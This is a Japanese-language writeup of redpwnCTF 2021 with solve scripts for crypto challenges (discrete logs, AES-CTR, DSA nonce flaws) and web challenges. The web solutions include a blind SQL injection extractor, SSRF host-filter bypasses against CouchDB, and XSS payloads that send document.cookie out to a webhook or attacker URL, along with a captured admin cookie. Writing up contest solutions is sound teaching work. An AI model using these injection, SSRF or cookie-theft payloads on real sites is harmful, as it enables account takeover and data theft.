redpwnCTF Writeup

Tue Jul 13 2021

    7/10-7/13 で開催していた redpwnCTF 2021 にソロで参加しました。結果は 27th/1418 (得点のあるチームのみカウント) でした。 問題数が多いので、 solve 数が 200 以下の問題についてのみ writeup を書きます。このようにフィルターすると、 pwn と rev は自明問しか解けなかったことがよくわかりますね…

    crypto

    blecc

    146 solves

    楕円曲線の問題。 FpF_p 上での楕円曲線 y2=x3+2x+3y^2 = x^3 + 2 x + 3 が与えられており、 Q=dGQ = dG となる dd を求める問題です。ただの離散対数問題ですね。

    GG の位数を求めると 251122303362091965393072 * 5 * 11 * 22303 * 36209 * 196539307 となっており、 pohlig-hellman で解けることがわかります。 sagemathdiscrete_log を使って雑に解きます。

    p = 17459102747413984477
    a = 2
    b = 3
    G = (15579091807671783999, 4313814846862507155)
    Q = (8859996588597792495, 2628834476186361781)
    
    
    EC = EllipticCurve(GF(p), [a, b])
    G = EC(G)
    Q = EC(Q)
    d = G.discrete_log(Q)
    bytes.fromhex(f"{d:x}")

    flag{m1n1_3cc}

    yahtzee

    103 solves

    server.py
    #!/usr/local/bin/python
    
    from Crypto.Cipher import AES
    from Crypto.Util.number import long_to_bytes
    from random import randint
    from binascii import hexlify
    
    with open('flag.txt','r') as f:
        flag = f.read().strip()
    
    with open('keyfile','rb') as f:
        key = f.read()
        assert len(key)==32
    
    '''
    Pseudorandom number generators are weak!
    True randomness comes from phyisical objects, like dice!
    '''
    class TrueRNG:
    
        @staticmethod
        def die():
            return randint(1, 6)
    
        @staticmethod
        def yahtzee(N):
            dice = [TrueRNG.die() for n in range(N)]
            return sum(dice)
    
        def __init__(self, num_dice):
            self.rolls = num_dice
    
        def next(self):
            return TrueRNG.yahtzee(self.rolls)
    
    def encrypt(message, key, true_rng):
        nonce = true_rng.next()
        cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce))
        return cipher.encrypt(message)
    
    '''
    Stick the flag in a random quote!
    '''
    def random_message():
        NUM_QUOTES = 25
        quote_idx = randint(0,NUM_QUOTES-1)
        with open('quotes.txt','r') as f:
            for idx, line in enumerate(f):
                if idx == quote_idx:
                    quote = line.strip().split()
                    break
        quote.insert(randint(0, len(quote)), flag)
        return ' '.join(quote)
    
    banner = '''
    ============================================================================
    =            Welcome to the yahtzee message encryption service.            =
    =  We use top-of-the-line TRUE random number generators... dice in a cup!  =
    ============================================================================
    Would you like some samples?
    '''
    prompt = "Would you like some more samples, or are you ready to 'quit'?\n"
    
    if __name__ == '__main__':
        NUM_DICE = 2
        true_rng = TrueRNG(NUM_DICE)
        inp      = input(banner)
        while 'quit' not in inp.lower():
            message = random_message().encode()
            encrypted = encrypt(message, key, true_rng)
            print('Ciphertext:', hexlify(encrypted).decode())
            inp = input(prompt)

    フラグの文字列を25種類ある引用文のどこかに挿入し、それを AES の CTR モードで暗号化します。 AES の key は固定で、 noncerandint(1, 6) + randint(1, 6) がランダムに与えられます。

    探索空間は 25 x O(10) x 12 程度 (しかも nonce は6周辺になる確率が高い) ため、暗号文を何度か入手すると同じ引用文・同じ nonce でフラグの挿入箇所だけが違うものが手に入ることが期待できます。とりあえず暗号文を集めます。

    import re
    import subprocess
    
    from pwn import remote, xor
    
    _r = remote("mc.ax", 31076)
    ret = _r.recvline().strip().decode()
    cmd = ret[ret.index("curl"):]
    proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
    _r.sendlineafter("solution: ", proc.stdout.strip())
    enc_list = []
    for i in range(1000):
        if i % 10 == 0:
            print(i)
        _r.sendlineafter("?\n", "")
        ret = _r.recvline().strip().decode()
        enc = re.findall(r"Ciphertext: (.*)", ret)[0]
        enc_list.append(enc)

    まず引用文の単語の数で引用文の種類を区別します。以下同じ単語数のもののみ考察します。えいやで決めた単語数 204 個のものを使います。

    暗号文の構造を考えると、 (quote_pre || flag || quote_post) + AES (ここで || は文字列の結合、 + は xor を表す) となっており、 flag の位置がそれぞれ違うというものになっています。 そのため2種類の暗号文の xor をとると、 00...00 || (flag + quote) || 00...00 という構造になるはずです。 flag の prefix が flag{ であることから、 (flag + quote) + "flag{" の計算で2種類のペアから quote の一部の5文字をリークさせることができます。

    それで現れた単語を適当にググると、 The question isnt who is going to let me; its who is going to stop me. という引用文であることがわかりました。 これと暗号文の xor を取ることで挿入された flag を入手することができました。

    flag{0h_W41t_ther3s_nO_3ntr0py}

    scrambled-elgs

    70 solves

    generator.sage
    #!/usr/bin/env sage
    import secrets
    import json
    from Crypto.Util.number import bytes_to_long, long_to_bytes
    from sage.combinat import permutation
    
    n = 25_000
    Sn = SymmetricGroup(n)
    
    def pad(M):
        padding = long_to_bytes(secrets.randbelow(factorial(n)))
        padded = padding[:-len(M)] + M
        return bytes_to_long(padded)
    
    #Prepare the flag
    with open('flag.txt','r') as flag:
        M = flag.read().strip().encode()
    m = Sn(permutation.from_rank(n,pad(M)))
    
    #Scramble the elgs
    g = Sn.random_element()
    a = secrets.randbelow(int(g.order()))
    h = g^a
    pub = (g, h)
    
    #Encrypt using scrambled elgs
    g, h = pub
    k = secrets.randbelow(n)
    t1 = g^k
    t2 = m*h^k
    ct = (t1,t2)
    
    #Provide public key and ciphertext
    with open('output.json','w') as f:
    	json.dump({'g':str(g),'h':str(h),'t1':str(t1),'t2':str(t2)}, f)

    対称群を用いた ElGamal 暗号 になっています。 h=gah = g^a となる aag,hg, h から求められれば、 t2t1at_2 t_1^{-a} でフラグ (を対称群の元にしたもの) が得られます。

    対称群は当然群なので、位数を確認して pohlig-hellman が使えるか確認します。位数は 2^3 * 3 * 11 * 13 * 29 * 167 * 239 * 317 * 379 * 971 * 4211 となっており、使えそうです。

    sagemathdiscrete_log は対称群に対応していないみたいだったので、自分で pohlig-hellman を書きました。

    solve.py
    import json
    import secrets
    
    from Crypto.Util.number import bytes_to_long, long_to_bytes
    
    from sage.combinat import permutation
    from sage.groups.generic import bsgs
    
    n = int(25_000)
    Sn = SymmetricGroup(n)
    
    with open("./output.json") as f:
        output = json.load(f)
    
    g = Sn(output["g"])
    h = Sn(output["h"])
    t1 = Sn(output["t1"])
    t2 = Sn(output["t2"])
    
    a_list = []
    b_list = []
    order = g.order()
    for p, e in list(factor(g.order())):
        gi = g ** (order // p ^ e)
        hi = h ** (order // p ^ e)
        gamma = gi ** (p ** (e - 1))
        xk = 0
        for k in range(e):
            hk = (gi ** (-xk) * hi) ** (p ** (e - 1 - k))
            dk = bsgs(gamma, hk, (0, p - 1))
            xk = xk + p ** k * dk
        xi = xk
        a_list.append(xi)
        b_list.append(p ^ e)
    a = crt(a_list, b_list)
    assert g ** a == h
    m = t2 * t1 ** (-a)
    
    
    perm = Permutation(permutation.from_permutation_group_element(m))
    
    
    def perm_to_num(perm):
        s = list(range(1, n + 1))
        ret = 0
        for i in range(n):
            order = s.index(perm[i])
            s.remove(perm[i])
            ret += order * factorial(n - i - 1)
        return ret
    
    
    M = perm_to_num(perm)
    print(long_to_bytes(M))

    flag{1_w1ll_n0t_34t_th3m_s4m_1_4m}

    Keeper of the Flag

    42 solves

    kotf.py
    #!/usr/local/bin/python3
    
    from Crypto.Util.number import *
    from Crypto.PublicKey import DSA
    from random import *
    from hashlib import sha1
    
    rot = randint(2, 2 ** 160 - 1)
    chop = getPrime(159)
    
    def H(s):
        x = bytes_to_long(sha1(s).digest())
        return pow(x, rot, chop)
    
    
    L, N = 1024, 160
    dsakey = DSA.generate(1024)
    p = dsakey.p
    q = dsakey.q
    h = randint(2, p - 2)
    g = pow(h, (p - 1) // q, p)
    if g == 1:
        print("oops")
        exit(1)
    
    print(p)
    print(q)
    print(g)
    
    x = randint(1, q - 1)
    y = pow(g, x, p)
    
    print(y)
    
    
    def verify(r, s, m):
        if not (0 < r and r < q and 0 < s and s < q):
            return False
        w = pow(s, q - 2, q)
        u1 = (H(m) * w) % q
        u2 = (r * w) % q
        v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
        return v == r
    
    
    pad = randint(1, 2 ** 160)
    signed = []
    for i in range(2):
        print("what would you like me to sign? in hex, please")
        m = bytes.fromhex(input())
        if m == b'give flag' or m == b'give me all your money':
            print("haha nice try...")
            exit()
        if m in signed:
            print("i already signed that!")
            exit()
        signed.append(m)
        k = (H(m) + pad + i) % q
        if k < 1:
            exit()
        r = pow(g, k, p) % q
        if r == 0:
            exit()
        s = (pow(k, q - 2, q) * (H(m) + x * r)) % q
        if s == 0:
            exit()
        print(H(m))
        print(r)
        print(s)
    
    print("ok im done for now")
    print("you visit the flag keeper...")
    print("for flag, you must bring me signed message:")
    print("'give flag':" + str(H(b"give flag")))
    
    r1 = int(input())
    s1 = int(input())
    if verify(r1, s1, b"give flag"):
        print(open("flag.txt").readline())
    else:
        print("sorry")

    DSA の問題。 従来の DSA と違うのは、 kk がただの乱数ではないことと、 hash 関数に RSA のような処理をしていることです。こちらの指定した数値 (ただし重複はダメ) で2回署名を入手できます。その後に "give flag" の署名として valid な r,sr, s を送信できればフラグが得られます。

    kk がただの乱数ではないので xx を求める方法がないかを考えます。 ki=(H(mi)+pad+i)k_i = (H(m_i) + pad + i)si=ki1(H(mi)+xri)s_i = k_i^{-1} (H(m_i) + xr_i) に代入すると、

    H(mi)+pad+i=si1(H(mi)+xri)H(m_i) + pad + i = s_i^{-1} (H(m_i) + xr_i)

    となります。 H(mi),si,riH(m_i), s_i, r_ii=0,1i=0, 1 のケースで得られているため、 pad,xpad, x 2変数の連立合同方程式を解けばよいことがわかります。 i=1i=1 のものから i=0i=0 のものを引くと、

    H(m1)H(m0)+1=s11H(m1)s01H(m0)+(s11r1s01r0)xx=(s11r1s01r0)1((1s11)H(m1)(1s01)H(m0)+1)\begin{aligned} H(m_1) - H(m_0) + 1 &= s_1^{-1} H(m_1) - s_0^{-1} H(m_0) + (s_1^{-1}r_1 - s_0^{-1}r_0) x \\ x &= (s_1^{-1}r_1 - s_0^{-1}r_0)^{-1}\left((1 - s_1^{-1}) H(m_1) - (1 - s_0^{-1}) H(m_0) + 1\right) \end{aligned}

    となり、 xx が求まります。あとは DSA と同様の署名をするだけです (だけなのですが、自分は H("give flag") が与えられていることに気づかず、ここからかなりの時間を溶かしてしまいました…)。

    solve.py
    import subprocess
    from hashlib import sha1
    
    from pwn import remote
    
    
    _r = remote("mc.ax", 31538)
    
    ret = _r.recvline().strip().decode()
    cmd = ret[ret.index("curl") :]
    proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
    _r.sendlineafter("solution: ", proc.stdout.strip())
    
    
    def recv_int():
        return int(_r.recvline().strip())
    
    
    p = recv_int()
    q = recv_int()
    g = recv_int()
    y = recv_int()
    
    _r.sendlineafter("what would you like me to sign? in hex, please\n", "00")
    Hm0 = recv_int()
    r0 = recv_int()
    s0 = recv_int()
    _r.sendlineafter("what would you like me to sign? in hex, please\n", "01")
    Hm1 = recv_int()
    r1 = recv_int()
    s1 = recv_int()
    
    s0_inv = pow(s0, -1, q)
    s1_inv = pow(s1, -1, q)
    
    pred_x = (
        pow(s1_inv * r1 - s0_inv * r0, -1, q)
        * ((1 - s1_inv) * Hm1 - (1 - s0_inv) * Hm0 + 1)
        % q
    )
    
    _r.recvuntil("'give flag':")
    Hm = recv_int()
    k = 1
    r = pow(g, k, p) % q
    s = (pow(k, -1, q) * (Hm + pred_x * r)) % q
    
    _r.sendline(str(r))
    _r.sendline(str(s))
    print(_r.recvall())

    flag{here_it_is_a8036d2f57ec7cecf8acc2fe6d330a71}

    quaternion-revenge

    29 solves

    これはただのバグ報告になってしまうのですが、 i と入力するだけで通ってしまいました… 手元環境では再現しないし、なぜこれが通るのかわからない…

    flag{00p5_1_l13d_r0fl}

    web

    cool

    125 solves

    SQLi の問題。脆弱性はここ。

    app.py
    def create_user(username, password):
        if any(c not in allowed_characters for c in username):
            return (False, 'Alphanumeric usernames only, please.')
        if len(username) < 1:
            return (False, 'Username is too short.')
        if len(password) > 50:
            return (False, 'Password is too long.')
        other_users = execute(
            f'SELECT * FROM users WHERE username=\'{username}\';'
        )
        if len(other_users) > 0:
            return (False, 'Username taken.')
        execute(
            'INSERT INTO users (username, password)'
            f'VALUES (\'{username}\', \'{password}\');'
        )
        return (True, '')

    username は文字種のチェックがされていますが、 password はされていません。最後の INSERT 文で password を介して SQLi ができそうです。

    方針としては password='||(SELECT SUBSTR(password,1,1) FROM users)||' とすることで、 admin のパスワードの1文字目をパスワードに設定することができます ( LIMIT 句なしでもよしなにやってくれるんですね)。 このパスワードでユーザー登録をし、brute force でログインを試すことで1文字ずつリークさせることができます。

    solve.py
    import random
    import requests
    
    
    allowed_characters = list(
        "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
    )
    
    register_url = "https://cool.mc.ax/register"
    login_url = "https://cool.mc.ax/"
    logout_url = "https://cool.mc.ax/logout"
    message_url = "https://cool.mc.ax/message"
    with requests.Session() as s:
        admin_password = ""
        for i in range(1, 1+32):
            username = "".join(random.choice(list(allowed_characters)) for _ in range(32))
            password = f"'||(SELECT SUBSTR(password,{i},1) FROM users)||'"
            print(username, password)
            r = s.post(register_url, data={"username": username, "password": password})
            s.get(logout_url)
            for c in allowed_characters:
                print(c)
                r = s.post(login_url, data={"username": username, "password": c})
                if "Unfortunately" in r.text:
                    admin_password += c
                    print(admin_password)
                    break
            else:
                print("end")
                break
        r = s.post(login_url, data={"username": "ginkoid", "password": admin_password})
        r = s.get(message_url)
        with open("./flag.mp3", "wb") as f:
            f.write(r.content)

    これで得られた flag.mp3 をエディタで開くと最後の部分にフラグが書かれていました。

    flag{44r0n_s4ys_s08r137y_1s_c00l}

    Requester

    41 solves

    SSRF の問題。 /testAPI を使うことで couchdb にアクセスできることが期待されます。 例えば https://requester.mc.ax/createUser?username=hogetaro&password=fugataro&method=GET とすることで hogetaro:fugataro という username, password でユーザー登録ができました。

    jar ファイルが与えられているので JD-GUI でデコンパイルして解析します。 脆弱性はここ。

      public static void testAPI(Context ctx) {
        String url = (String)ctx.queryParam("url", String.class).get();
        String method = (String)ctx.queryParam("method", String.class).get();
        String data = ctx.queryParam("data");
        try {
          URL urlURI = new URL(url);
          if (urlURI.getHost().contains("couchdb"))
            throw new ForbiddenResponse("Illegal!"); 
        } catch (MalformedURLException e) {
          throw new BadRequestResponse("Input URL is malformed");
        } 
        try {
          if (method.equals("GET")) {
            JSONObject jsonObj = HttpClient.getAPI(url);
            String str = jsonObj.toString();
          } else if (method.equals("POST")) {
            JSONObject jsonObj = HttpClient.postAPI(url, data);
            String stringJsonObj = jsonObj.toString();
            if (Utils.containsFlag(stringJsonObj))
              throw new ForbiddenResponse("Illegal!"); 
          } else {
            throw new BadRequestResponse("Request method is not accepted");
          } 
        } catch (Exception e) {
          throw new InternalServerErrorResponse("Something went wrong");
        } 
        ctx.result("success");
      }
    }

    ホスト名に couchdb という文字列が入っていると弾く処理があるのですが、 COUCHDB とすることでこの処理を回避することができます。 これで couchdb に対していろいろな query を投げることができます。

    https://docs.couchdb.org/en/latest/api/database/find.html を参考に、 hogetaro/_find に対して flag^flag{ (正規表現) となっているものを取ってくる query を作り、投げました。 もし存在していればフラグの入った json が返されますが、上記ソースコードの Utils.containsFlag(stringJsonObj) の部分で弾かれる処理がなされます。もし存在していなければ普通に success が返ってきます。 そのため正規表現を使って前から1文字ずつフラグを特定させていくことができます。

    solve.py
    import requests
    
    # https://requester.mc.ax/createUser?username=hogetaro&password=fugataro
    query_url_template = "https://requester.mc.ax/testAPI?url=http://hogetaro:[email protected]:5984/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}"
    
    escaped = '"#$%&()*+/?[\\]^|.'
    
    flag = ""
    for _ in range(100):
        for i in range(32, 128)[::-1]:
            c = chr(i)
            if c in escaped:
                continue
            print(c)
            query_url = query_url_template.format(query_flag=flag + c)
            r = requests.get(query_url)
            if "Something went wrong" == r.text:
                flag += c
                print(flag)
                break
        else:
            print("done")
            break

    flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}

    requester-strikes-back

    19 solves

    Requester とほぼ同じ問題。 couchdb の case 問題に修正入っています。

        try {
          URL urlURI = new URL(url);
          if (urlURI.getHost().toLowerCase().contains("couchdb"))
            throw new ForbiddenResponse("Illegal!"); 
          String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
          urlURI = new URL(urlDecoded);
          if (urlURI.getHost().toLowerCase().contains("couchdb"))
            throw new ForbiddenResponse("Illegal!"); 
        } catch (MalformedURLException e) {
          throw new BadRequestResponse("Input URL is malformed");
        }

    前問との違いはここだけっぽい (真面目に diff を取ったわけではないですが) ので、ここを何とかすることに注力します (逆に diff 見るだけで前問の脆弱性は一瞬でわかってしまいますね…)。

    結論だけいうと、 http://hogetaro:[email protected]:[email protected]/ のように最後に余分な @ をつけることで回避することができました。検証はしていないですが getHost() の結果が空になるのだと思います。 あとは前問と同様の script を動かすことでフラグを入手できました。

    solve.py
    import requests
    
    # https://requester-strikes-back.mc.ax/createUser?username=hogetaro&password=fugataro
    query_url_template = "https://requester-strikes-back.mc.ax/testAPI?url=http://hogetaro:[email protected]:[email protected]/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}"
    
    escaped = '"#$%&()*+/?[\\]^|.'
    
    flag = ""
    for _ in range(100):
        for i in range(32, 128)[::-1]:
            c = chr(i)
            if c in escaped:
                continue
            print(c)
            query_url = query_url_template.format(query_flag=flag + c)
            r = requests.get(query_url)
            if "Something went wrong" == r.text:
                flag += c
                print(flag)
                break
        else:
            print("done")
            break

    flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}

    misc

    annaBEL-lee

    134 solves

    nc mc.ax 31845 をしても標準出力には何も表示されません。とりあえずファイルに書き込んでみると、 \x07\x00 の2文字からなる文字列が返されていました。

    \x07 がベルを表す制御コードであることや問題文から、モールス信号ではないかと guess しました。 モールス信号だと思って文字列を見ると、 \x07\x07\x07-\x07.\x00 がそれらの区切りを表しているように見えます。 この方針で decode してみたらフラグが得られました。

    solve.py
    with open("./tmp", "rb") as f:
        enc_bin = f.read()
    
    char_to_morse = {
        "A": ".-",
        "B": "-...",
        "C": "-.-.",
        "D": "-..",
        "E": ".",
        "F": "..-.",
        "G": "--.",
        "H": "....",
        "I": "..",
        "J": ".---",
        "K": "-.-",
        "L": ".-..",
        "M": "--",
        "N": "-.",
        "O": "---",
        "P": ".--.",
        "Q": "--.-",
        "R": ".-.",
        "S": "...",
        "T": "-",
        "U": "..-",
        "V": "...-",
        "W": ".--",
        "X": "-..-",
        "Y": "-.--",
        "Z": "--..",
        "1": ".----",
        "2": "..---",
        "3": "...--",
        "4": "....-",
        "5": ".....",
        "6": "-....",
        "7": "--...",
        "8": "---..",
        "9": "----.",
        "0": "-----",
        ",": "--..--",
        ".": ".-.-.-",
        "?": "..--..",
        "/": "-..-.",
        "-": "-....-",
        "(": "-.--.",
        ")": "-.--.-",
    }
    
    morse_to_char = {v: k for k, v in char_to_morse.items()}
    
    
    def decrypt(enc):
        msg = ""
        for morse in enc.split():
            if morse in morse_to_char.keys():
                msg += morse_to_char[morse]
            else:
                msg += morse
        return msg
    
    
    enc = (
        enc_bin.replace(b"\x07\x07\x07", b"-")
        .replace(b"\x07", b".")
        .replace(b"\x00\x00\x00", b" ")
        .replace(b"\x00", b"")
        .decode()
    )
    print(decrypt(enc))
    print(decrypt(enc).lower().replace("(", "{").replace(")", "}"))

    flag{d1ng-d0n9-g0es-th3-anna-b3l}

    復習

    ここから先は競技終了後にいろいろ調べながら書いたものとなります。

    crypto

    quaternion-revenge

    29 solves

    適当に送ってしまったペイロードでフラグを得てしまったので復習しました。

    まずなぜ i というペイロードで通ってしまったのかを確認しました。 https://github.com/redpwn/redpwnctf-2021-challenges/blob/master/crypto/quaternion-revenge/Dockerfile#L1 を見ると sagemath/sagemath:9.0-py3 のバージョンが使われているっぽいので、この image 下で試します。

    docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)'"
    True
    
    docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**32+1,-2**32+1);print(i==2**32-1)'"
    False
    

    大きい整数を使ったときにこういうことが生じるっぽいです。

    この挙動は手元の version 9.3 では再現しません。

    sage -v
    SageMath version 9.3, Release Date: 2021-05-09
    
    sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)'
    False
    

    あとは想定解は何なのかという疑問が残りますが、 discord のやり取りを見ているとこの挙動を特定するのが想定解っぽい…? だったらバージョンを明記してほしかったな…

    retrosign

    26 solves

    D,k,ND, k, N が与えられたときに x2Dy2=kmodNx^2 - Dy^2 = k \mod N を満たす整数 x,yx, y を求める問題は古くから知られているようです。暗号の関係でいうと、Ong-Schnorr-Shamir digital signature というのに使われていたらしいです。 また CTF でも何度か出題されたことがあるらしい。このような条件下でなぜググっても見つけることができなかったのか… ("conics rational integer point" みたいな検索ワードでずっと調べていたから…)

    アルゴリズムは https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.7.9765&rep=rep1&type=pdf がまとまっていてわかりやすかったです。これを追実装して解きました。

    pollard.sage
    def lemma(r, D, m):
        """Transform r^2 = D mod m into u^2 - Dv^2 = lm"""
        assert (r ** 2 - D) % m == 0
        xs = [r]
        ms = [m]
        while True:
            tmp_m = (xs[-1] ** 2 - D) // ms[-1]
            if tmp_m <= int(sqrt(4 * abs(D) / 3)):
                break
            tmp_x = xs[-1] % tmp_m
            ms.append(tmp_m)
            xs.append(tmp_x)
    
        _lambda = tmp_m
        As = [0, 1]
        for i in range(1, len(xs))[::-1]:
            assert (xs[i-1] - xs[i]) % ms[i] == 0
            tmp_A = As[-2] + (xs[i-1] - xs[i]) // ms[i] * As[-1]
            As.append(tmp_A)
        u = As[-1] * xs[0] - As[-2] * ms[0]
        v = As[-1]
    
        assert u ** 2 - D * v ** 2 == _lambda * m
        return u, v, _lambda
    
    
    def pollard(D, k, N):
        """solve x, y such that x^2 - Dy^2 = k mod N"""
        print(D, k, N)
        if D == 0 or k == 0:
            raise ValueError
        elif N % 2 == 0:
            raise NotImplementedError
        elif gcd(k, N) != 1 or gcd(D, N) != 1:
            raise NotImplementedError
    
        elif isqrt(abs(D)) ** 2 == abs(D):
            if D >= 0:
                b = isqrt(D)
                c = int((k + 1) * pow(2, -1, N))
                d = int((k - 1) * pow(2, -1, N))
                assert (c ** 2 - d ** 2) % N == k % N
            else:
                b = -isqrt(-D)
                p = k
                while True:
                    if p % 4 == 1 and is_prime(p):
                        break
                    p += N
                c, d = GaussianIntegers()(p).factor()[0][0]
                c, d = int(c), int(d)
                assert (c ** 2 + d ** 2) % N == k % N
            x = c
            y = int(d * pow(b, -1, N))
        elif abs(k) < abs(D):
            c, d = pollard(k, D, N)
            print(c, d)
            x = int(c * pow(d, -1, N))
            y = int(pow(d, -1, N))
        else:
            p = k
            while True:
                if p > 0 and is_prime(p) and kronecker(D, p) != -1:
                    break
                p += N
    
            t = int(Zmod(p)(D).sqrt())
            u, v, _lambda = lemma(t, D, p)
            w, z = pollard(D, _lambda, N)
            y = int((u * z - v * w) * pow(D * z ** 2 - w ** 2, -1, N))
            x = int((v - y * w) * pow(z, -1, N))
        assert (x ** 2 - D * y ** 2) % N == k % N
        return x, y
    solve.sage
    import re
    import subprocess
    from hashlib import sha256
    
    from pwn import remote
    
    _r = remote("mc.ax", 31079)
    ret = _r.recvline().strip().decode()
    cmd = ret[ret.index("curl"):]
    proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
    _r.sendlineafter("solution: ", proc.stdout.strip())
    
    _r.recvuntil("The following configuration is in place:\n")
    n = int(re.findall(r"n = (.*);", _r.recvline().strip().decode())[0])
    k = int(re.findall(r"k = (.*);", _r.recvline().strip().decode())[0])
    
    cmd = b"sice_deets"
    t = int(sha256(cmd).hexdigest(), 16)
    a, b = pollard(-k, t, n)
    sig = f"{a:0256x}{b:0256x}"
    _r.sendlineafter(">>> ", cmd.decode())
    _r.sendlineafter("$$$ ", sig)
    print(_r.recvall())

    flag{w0w_th4t_s1gn4tur3_w4s_pr3tty_r3tr0}

    web

    notes

    32 solves

    脆弱性はここ。

    public/static/view/index.js
    (async () => {
      const request = await fetch(`/api/notes/${user}`);
      const notes = await request.json();
    
      const renderedNotes = [];
      for (const note of notes) {
        // this one is controlled by user, so prevent xss
        const body = note.body
          .replaceAll('<', '&lt;')
          .replaceAll('>', '&gt;')
          .replaceAll('"', '&quot;')
          .replaceAll('\'', '&#39;');
        // this one isn't, but make sure it fits on page
        const tag =
          note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag;
        // render templates and put them in our array
        const rendered = populateTemplate(template, { body, tag });
        renderedNotes.push(rendered);
      }
    
      container.innerHTML += renderedNotes.join('');
    })();

    body のほうはサニタイズが行われていますが、 tag では行われていません。 問題は、各 note で tag は10文字以下にしないといけないので、何かしら工夫が必要です。

    まず試したのは、

    {"body": "", "tag": "<script>`"}
    {"body": "`;SOME_SCRIPT;`", "tag": "`</script>"}

    というペイロードで、 ` を使って note 間の html をコメントアウトする方法でした。 しかしこれは動きません。 innerHTML に直接追加された script は動かないみたいです。 https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML#security_considerations

    なので <img src=x onerror=SOME_SCRIPT> のようなペイロードにする必要があります。 しかし、

    {"body": "", "tag": "<img src='"}
    {"body": "", "tag": "'onerror=`"}
    {"body": "`;SOME_SCRIPT;`", "tag": "`>"}

    のようにしても、 note 間の html によって勝手に <img> タグが閉じられるような挙動になってしまい、うまく動きません。

    競技中はここで力が尽きました。

    @st98_ さんの Writeup では、

    {"body": "a", "tag": "<style a='"}
    {"body": "a", "tag": "'onload='`"}
    {"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"}

    という <style> を使った方法が取り上げられていました。 onerror より1文字減ったため onload 以降を '' で囲むことができています。これのおかげでタグが勝手に閉じられない…?

    このあたりの挙動はいろいろ試して覚えていくのがいいんですかね、精進不足…

    solve.py
    import requests
    
    url = "https://notes.mc.ax/api/notes"
    cookies = {"username": "hogehoge.sm3p%2BagZCVM8E%2FcZDIi0Huw7uzhw0SJhBLC2nGkjtow"}
    
    payload_list = [
        {"body": "", "tag": "<style a='"},
        {"body": "", "tag": "'onload='`"},
        {
            "body": "`;document.location=`MY_URL?q=${document.cookie}`;`",
            "tag": "`'></style>",
        },
    ]
    
    for payload in payload_list:
        r = requests.post(url, cookies=cookies, json=payload)

    これを実行したあとに admin に踏ませることで、 admin の cookie が admin.uPoq5EHI5BXHy3ifvT25/ds2M3JH2JwsZJPpN0Vn1s8 であることがわかります。 この cookie を使って admin のページを見ることでフラグが得られました。

    flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}

      ;